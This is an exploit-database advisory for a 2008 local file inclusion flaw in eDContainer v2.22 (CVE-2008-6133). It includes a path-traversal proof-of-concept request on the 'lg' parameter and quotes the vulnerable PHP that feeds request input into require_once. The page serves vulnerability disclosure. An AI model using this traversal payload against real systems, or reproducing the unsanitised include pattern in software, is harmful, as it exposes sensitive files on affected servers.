eDContainer v2.22 (lg) Local File Inclusion Vulnerability

vendor:

eDContainer

by:

milw0rm.com

7.5

CVSS

HIGH

eDContainer v2.22 (lg) Local File Inclusion

CWE

Product Name: eDContainer

Affected Version From: eDContainer v2.22 (lg)

Affected Version To: eDContainer v2.22 (lg)

Patch Exists: YES

Related CWE: CVE-2008-6133

CPE: cpe:a:edscontacts:edcontainer

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: None

2008

eDContainer v2.22 (lg) Local File Inclusion Vulnerability

eDContainer v2.22 (lg) is prone to a local file inclusion vulnerability because it fails to properly sanitize user-supplied input. An attacker can exploit this issue to view sensitive files on the affected computer; other attacks are also possible.

Mitigation:

Upgrade to the latest version of eDContainer v2.22 (lg).

Source

Exploit-DB raw data:

 _____   ____   __   __     _       ____        ____    ____ 
|_   _| |  _ \  \ \ / /    / \     / ___|      / ___|  / ___|
  | |   | |_) |  \ V /    / _ \   | |  _      | |     | |    
  | |   |  _ <    | |    / ___ \  | |_| |  _  | |___  | |___ 
  |_|   |_| \_\   |_|   /_/   \_\  \____| (_)  \____|  \____|



eDContainer v2.22 (lg) Local File Inclusion Vulnerability
Script : http://www.mirrorservice.org/sites/download.sourceforge.net/pub/sourceforge/e/ed/edscontacts/eDContainer_v222.zip
Poc : /index.php?lg=../../../../index
Vuln Code :
File index.php

if ( isset($_REQUEST['lg']) ) { $INDEX['currentLanguage'] = $_REQUEST['lg']; } else if ( !isset( $INDEX['currentLanguage'] ) ) { 
 	$INDEX['currentLanguage']  = $CONFIG['language']['default'];
}
require_once 'myContents_'.$INDEX['currentLanguage'].'.php';
        ____           _           _           __  __ 
       / ___|   ___   | |       __| |         |  \/  |
      | |  _   / _ \  | |      / _` |         | |\/| |
      | |_| | | (_) | | |___  | (_| |         | |  | |
       \____|  \___/  |_____|  \__,_|  _____  |_|  |_|
                                      |_____|         

# milw0rm.com [2008-12-29]